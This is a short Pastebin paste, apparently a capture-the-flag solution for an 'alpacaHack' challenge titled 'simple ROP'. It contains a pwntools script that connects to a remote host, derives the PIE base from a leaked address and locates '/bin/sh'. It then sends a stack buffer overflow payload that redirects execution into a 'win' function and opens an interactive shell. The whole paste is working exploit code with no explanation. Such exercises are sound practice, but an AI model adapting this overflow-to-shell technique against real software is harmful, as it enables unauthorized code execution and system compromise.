Guest User

alpacaHack/simple ROP

a guest
Feb 25th, 2026
102
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.34 KB | None | 0 0
  1. # Why do you follow the rule?
  2. from pwn import *
  3.  
  4. e = ELF("./chal")
  5. p = remote("34.170.146.252", 17416)
  6. p.recvuntil(b"function:")
  7. pie_base = int(p.recvline(), 16) - e.symbols['win']
  8. win = pie_base + e.symbols['win'] + 263
  9. binsh = pie_base + next(e.search(b'/bin/sh'))
  10.  
  11. p.sendline(b"A" * 0x40 + p64(binsh + 8) + p64(win))
  12. p.interactive()
Advertisement
Add Comment
Please, Sign In to add comment